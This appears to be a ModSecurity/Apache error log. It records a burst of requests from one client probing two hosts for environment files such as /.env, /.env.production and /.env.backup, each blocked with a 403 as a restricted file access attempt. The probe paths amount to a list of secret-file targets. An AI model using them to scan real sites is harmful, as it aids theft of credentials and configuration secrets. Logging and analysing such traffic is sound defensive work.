[Sun Oct 25 08:01:06.117306 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vgty-_GHm1dX7tKN4MAAAABA"]
[Sun Oct 25 08:01:06.117688 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vgty-_GHm1dX7tKN4MAAAABA"]
[Sun Oct 25 08:01:06.172607 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 18.207.79.144:47223] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 08:01:06.390370 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vgty-_GHm1dX7tKN4MQAAABA"]
[Sun Oct 25 08:01:06.390635 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vgty-_GHm1dX7tKN4MQAAABA"]
[Sun Oct 25 08:01:06.391001 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vgty-_GHm1dX7tKN4MQAAABA"]
[Sun Oct 25 08:01:06.392842 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgus4DYbOWQ864oPKyQAAAAk"]
[Sun Oct 25 08:01:06.392998 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgus4DYbOWQ864oPKyQAAAAk"]
[Sun Oct 25 08:01:06.393206 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3vgus4DYbOWQ864oPKyQAAAAk"]
[Sun Oct 25 08:01:06.604657 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgus4DYbOWQ864oPKygAAAAk"]
[Sun Oct 25 08:01:06.605029 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgus4DYbOWQ864oPKygAAAAk"]
[Sun Oct 25 08:01:06.605467 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at3vgus4DYbOWQ864oPKygAAAAk"]
[Sun Oct 25 08:01:06.646676 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vgty-_GHm1dX7tKN4MgAAABA"]
[Sun Oct 25 08:01:06.646912 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vgty-_GHm1dX7tKN4MgAAABA"]
[Sun Oct 25 08:01:06.647238 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vgty-_GHm1dX7tKN4MgAAABA"]
[Sun Oct 25 08:01:06.830851 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgus4DYbOWQ864oPKywAAAAk"]
[Sun Oct 25 08:01:06.831122 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgus4DYbOWQ864oPKywAAAAk"]
[Sun Oct 25 08:01:06.831438 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at3vgus4DYbOWQ864oPKywAAAAk"]
[Sun Oct 25 08:01:06.921626 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vgty-_GHm1dX7tKN4MwAAABA"]
[Sun Oct 25 08:01:06.921870 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vgty-_GHm1dX7tKN4MwAAABA"]
[Sun Oct 25 08:01:06.922204 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at3vgty-_GHm1dX7tKN4MwAAABA"]
[Sun Oct 25 08:01:07.057138 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vg-s4DYbOWQ864oPKzAAAAAk"]
[Sun Oct 25 08:01:07.057406 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vg-s4DYbOWQ864oPKzAAAAAk"]
[Sun Oct 25 08:01:07.057747 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at3vg-s4DYbOWQ864oPKzAAAAAk"]
[Sun Oct 25 08:01:07.174317 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vg9y-_GHm1dX7tKN4NAAAABA"]
[Sun Oct 25 08:01:07.174558 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vg9y-_GHm1dX7tKN4NAAAABA"]
[Sun Oct 25 08:01:07.174926 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at3vg9y-_GHm1dX7tKN4NAAAABA"]
[Sun Oct 25 08:01:07.334469 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vg-s4DYbOWQ864oPKzQAAAAk"]
[Sun Oct 25 08:01:07.334737 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vg-s4DYbOWQ864oPKzQAAAAk"]
[Sun Oct 25 08:01:07.335060 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at3vg-s4DYbOWQ864oPKzQAAAAk"]
[Sun Oct 25 08:01:07.422510 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vg9y-_GHm1dX7tKN4NQAAABA"]
[Sun Oct 25 08:01:07.422760 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vg9y-_GHm1dX7tKN4NQAAABA"]
[Sun Oct 25 08:01:07.423137 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at3vg9y-_GHm1dX7tKN4NQAAABA"]
[Sun Oct 25 08:01:07.573461 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vg-s4DYbOWQ864oPKzgAAAAk"]
[Sun Oct 25 08:01:07.573735 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vg-s4DYbOWQ864oPKzgAAAAk"]
[Sun Oct 25 08:01:07.574095 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at3vg-s4DYbOWQ864oPKzgAAAAk"]
[Sun Oct 25 08:01:07.700929 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vg9y-_GHm1dX7tKN4NgAAABA"]
[Sun Oct 25 08:01:07.701178 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vg9y-_GHm1dX7tKN4NgAAABA"]
[Sun Oct 25 08:01:07.701531 2026] [security2:error] [pid 2815602:tid 2815602] [client 34.40.186.160:60534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at3vg9y-_GHm1dX7tKN4NgAAABA"]
[Sun Oct 25 08:01:07.789138 2026] [security2:error] [pid 2815599:tid 2815599] [client 34.40.186.160:60544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at3vg-s4DYbOWQ864oPKzwAAAAk"]
